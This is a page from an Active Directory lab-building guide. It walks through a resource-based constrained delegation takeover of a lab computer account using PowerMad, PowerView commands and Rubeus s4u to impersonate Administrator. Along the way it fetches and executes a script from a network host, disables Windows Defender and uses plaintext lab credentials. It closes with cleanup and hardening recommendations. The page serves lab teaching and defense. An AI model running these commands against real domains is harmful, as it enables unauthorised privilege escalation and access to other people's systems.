# Computeraccount Takeover

## Configuring

### Prerequisite

{% content-ref url="../../acl-abuses/owns" %}
[owns](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/owns)
{% endcontent-ref %}

### Configuring

Nothing need to be configured to abuse this since we set the GenericAll permissions during the "Owns" section. If you would like to configure this it can be configured the same way as we configured "Write Owner".

## Attacking

### How it works

If you have GenericAll or GenericWrite rights to a computer object you can write to the attribute `msds-AllowedToActOnBehalfOfOtherIdentity`. If you control this attribute you can impersonate and authenticate as any domain user to the computer. Resulting in getting access to the computer as long as you can impersonate a user that has access too it. Users with the flag "This account is senstitive and cannot be delegated" or members of the "Protected Users Group" can't be impersonated.

### Tools

* [PowerMad](https://github.com/Kevin-Robertson/Powermad)
* [Invoke-DNSUpdate](https://github.com/Kevin-Robertson/Powermad/blob/master/Invoke-DNSUpdate.ps1)

### Executing the attack

#### Prereqesuite

* An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))
* A user with write privileges over the target computer which doesn't have msds-AllowedToActOnBehalfOfOtherIdentity

#### Executing the attack

1. It is expected that the GenericAll permissions during the ACL abuses "Write Owner" and "Owns" are set for the `sa_sql` user. This attack will continue from there:

{% content-ref url="../../acl-abuses/owns" %}
[owns](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/owns)
{% endcontent-ref %}

2\. First we will check that the target doesn't have the `msds-AllowedToActOnBehalfOfOtherIdentity` attribute set.

```
Get-DomainComputer -Domain secure.local -Credential $creds -Server 10.0.0.100 Data01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F8mXG5z3jWquWHwMcGMmG%2Fimage.png?alt=media\&token=0bbd95f3-e5bd-4ee9-a2a2-85a53197a52c)

The attribute haven't been set yet.

3\. Add the following to the `/etc/hosts` file on Kali otherwise the Crackmapexec command will fail:

```
10.0.0.100 secure.local
10.0.0.100 dc03
10.0.0.100 dc03.secure.local
```

4\. Check if we can add computers to the domain since its a requirement for the attack. We can get the machine account qouta from the domain with Crackmapexec:

```
crackmapexec ldap 10.0.0.100 -u sa_sql -p Iloveyou2 -M MAQ
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FcoL3LPQXbAAJM43RULJz%2Fimage.png?alt=media&#x26;token=539d7f44-4060-4f8f-bea7-06487243a6b0" alt=""></div>

The machine account qouta is 10, meaning we (all authenticated users) can create our own computerobject in the domain.

5\. Create a machine account with the name `FAKE01` and password `123456` with PowerMad:

```
iex (iwr http://192.168.248.2:8090/Powermad.ps1 -usebasicparsing)
New-MachineAccount -Domain secure.local -Credential $creds -DomainController 10.0.0.100 -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FiwGVr5WFzc0RzevzfdHK%2Fimage.png?alt=media&#x26;token=e1b84b59-4993-419f-b3d3-b83f2e4ab149" alt=""></div>

6\. Get the SID of the computerobject we created:

```
Get-DomainComputer fake01 -Domain secure.local -Credential $creds -Server 10.0.0.100
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FgJE6v0GOSL1kNMRECs6M%2Fimage.png?alt=media\&token=019b4196-9ffa-44a4-83a6-839d608e75bd)

7\. Now we need to create the raw security descriptor which we then will write to the attribute:

```
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1498997062-1091976085-892328878-1108)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

{% hint style="info" %}
Make sure you changed the SID since it can differ in your lab.
{% endhint %}

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FOEtSjf63X7cl3gBo6Mv8%2Fimage.png?alt=media&#x26;token=b960d85a-5915-49e9-9b57-59ad586712e6" alt=""></div>

8\. Now we can write as `sa_sql` to the `msds-allowedtoactonbehalfofotheridentity` attribute of the computerobject `DATA01`:

```
Get-DomainComputer DATA01 -Domain secure.local -Credential $creds -Server 10.0.0.100 | Set-DomainObject -Domain secure.local -Credential $creds -Server 10.0.0.100 -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRxlxr10cSf0UVXr04Yks%2Fimage.png?alt=media\&token=2b398bd3-4874-466f-bc79-2ad568a125f9)

9\. Seems like it worked, now we can check the value of the `msds-AllowedToActOnBehalfOfOtherIdentity` attribute by saving it in a variable and doing some powershell confu to decrypt it:

```
$RawBytes = Get-DomainComputer DATA01 -Domain secure.local -Credential $creds -Server 10.0.0.100 -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
Get-DomainComputer -Domain secure.local -Credential $creds -Server 10.0.0.100 <SID>
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fic598cqPlfIWlLT0DzCb%2Fimage.png?alt=media\&token=3bbc16f0-43af-4303-aa48-206bdf2840ed)

10\. `FAKE01` can impersonate any user now to `DATA01`. To do this we first need to calculate the NTLM hash for the `FAKE01` password, we can do this with Rubeus.

```
.\Rubeus.exe hash /password:123456 /user:fake01 /domain:secure.local
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FugXClvfSAkfhDQcat8fv%2Fimage.png?alt=media&#x26;token=35c1ca2d-39cb-4f9e-8b41-ffdfe2288155" alt=""></div>

{% hint style="info" %}
Temporarily disable Windows Defender if it gets flagged by it.
{% endhint %}

11\. The next step is to run Rubeus to impersonate the `Administrator` user using the `FAKE01` Computeraccount. Abusing Resource Based Constrained Delegation. We will request a CIFS ticket so we can list the C disk.

```
.\Rubeus.exe s4u /domain:secure.local /dc:10.0.0.100 /user:fake01 /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:Administrator /msdsspn:CIFS/data01.secure.local /ptt
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fn6dmMhbzSVacNGvEskgb%2Fimage.png?alt=media&#x26;token=b73abd87-c7a5-42f8-9393-cf9025e3d15c" alt=""></div>

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FbaItDa8RxTgEa1WWW6eE%2Fimage.png?alt=media&#x26;token=dcc35e25-a2c4-4e2e-a826-67f83724c2c6" alt=""></div>

12\. We got a CIFS ticket as `Administrator` for `data01.secure.local`, now we can try to list the C disk.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F4v2y6nrT79xnhEwKLe1o%2Fimage.png?alt=media&#x26;token=db722c01-b398-4ddd-9716-61e4901cbc31" alt=""></div>

### Cleanup

1. Login to `DC03` as `Administrator` with the password `Welcome01!`.
2. Execute the following command to remove the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute from `DATA01`.

```
Set-ADComputer -PrincipalsAllowedToDelegateToAccount $null -Identity data01
```

3\. Execute the following command to remove the `FAKE01` computer we created:

```
Get-ADComputer fake01 | Remove-ADObject
```

## Defending

### Recommendations

* Change who can add computers to the domain.

{% content-ref url="../../../../defence/hardening/change-who-can-join-computers-to-the-domain" %}
[change-who-can-join-computers-to-the-domain](https://ad-lab.gitbook.io/building-a-windows-ad-lab/defence/hardening/change-who-can-join-computers-to-the-domain)
{% endcontent-ref %}

* Add privileged users to the protected users group.

{% content-ref url="../../../../defence/hardening/protected-users-group" %}
[protected-users-group](https://ad-lab.gitbook.io/building-a-windows-ad-lab/defence/hardening/protected-users-group)
{% endcontent-ref %}

* Add the flag "Account is sensitive and cannot be delegated".

{% content-ref url="../../../../defence/hardening/account-is-sensitive-and-cannot-be-delegated" %}
[account-is-sensitive-and-cannot-be-delegated](https://ad-lab.gitbook.io/building-a-windows-ad-lab/defence/hardening/account-is-sensitive-and-cannot-be-delegated)
{% endcontent-ref %}

### Detection

## References

{% embed url="<https://github.com/Kevin-Robertson/Powermad>" %}

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Invoke-DNSUpdate.ps1>" %}
